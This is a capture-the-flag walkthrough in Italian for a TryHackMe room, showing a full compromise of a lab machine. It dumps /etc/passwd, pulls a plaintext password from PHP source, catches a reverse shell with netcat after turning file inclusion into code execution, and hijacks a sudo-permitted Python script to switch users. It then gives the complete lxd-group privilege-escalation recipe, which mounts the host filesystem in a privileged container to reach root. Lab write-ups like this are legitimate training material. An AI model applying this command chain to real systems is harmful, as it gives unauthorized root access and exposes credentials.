

<https://tryhackme.com/room/hackinbowinter2021>

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuid:x:106:110::/run/uuid:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
```

Usiamo i wrapper per leggere i file php

```
$users = ['john_d03' => 'P4$$w0RdS1Cur4'];
```

## Eseguiamo da LFI a RCE

```
nc -nvlp 8000
listening on [any] 8000 ...
connect to [10.9.164.169] from (UNKNOWN) [10.10.251.69] 46420
/bin/sh: 0: can't access tty; job control turned off
$
```

```
$ python3 -c "import pty;pty.spawn('/bin/bash');"
```

```
www-data@HackinBo2021:/home/j0hn_do3$ su j0hn_do3
```

```
su j0hn_do3
```

```
Password: P4$$w0RdS1Cur4
```

```
E siamo dentro come j0hn_do3
```

```
j0hn_do3@HackinBo2021:~$ sudo -l
```

```
sudo -l
```

```
[sudo] password for j0hn_do3: P4$$w0RdS1Cur4
```

Matching Defaults entries for j0hn\_do3 on HackinBo2021:

```
env_reset, mail_badpass,
```

```
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
```

User j0hn\_do3 may run the following commands on HackinBo2021:

```
(h4k1nb0) /usr/bin/python3.6 /home/j0hn_do3/passwordgen.py
```

L'utente esegue il file python con i privilegi dell'utente h4k1nb0

Il file è nella home di j0hn\_do3. Sostituiamo il file con uno contenente la reverse shell nostra

```
rm passwordgen.py && echo "import pty;pty.spawn('/bin/sh');" > passwordgen.py && sudo -u h4k1nb0  
/usr/bin/python3.6 /home/j0hn_do3/passwordgen.py
```

```
$ id
```

```
id
```

```
uid=1000(h4k1nb0) gid=1000(h4k1ngb0)
```

```
groups=1000(h4k1ngb0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
```

Privilege escalation.
-----------------------

l'utente fa parte del gruppo lxd.

Sfruttiamo l'exploit seguendo

<https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation>

```
git clone https://github.com/saghul/lxd-alpine-builder
```

```
cd lxd-alpine-builder
```

```
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-
```

```
releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
```

```
sudo ./build-alpine -a i686
```

```
# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on
the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as default
lxd init
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```

```
home # cd /mnt
/mnt # ls
root
/mnt # ls
root
/mnt # cd root
/mnt/root # ls
bin      etc      lib      mnt      run      swap.img  var
boot     home     lib64    opt      sbin     sys       vmlinuz
cdrom    initrd.img  lost+found  proc     snap     tmp       vmlinuz.old
dev      initrd.img.old  media      root     srv      usr
/mnt/root # cd root
/mnt/root/root # ls
root.txt
```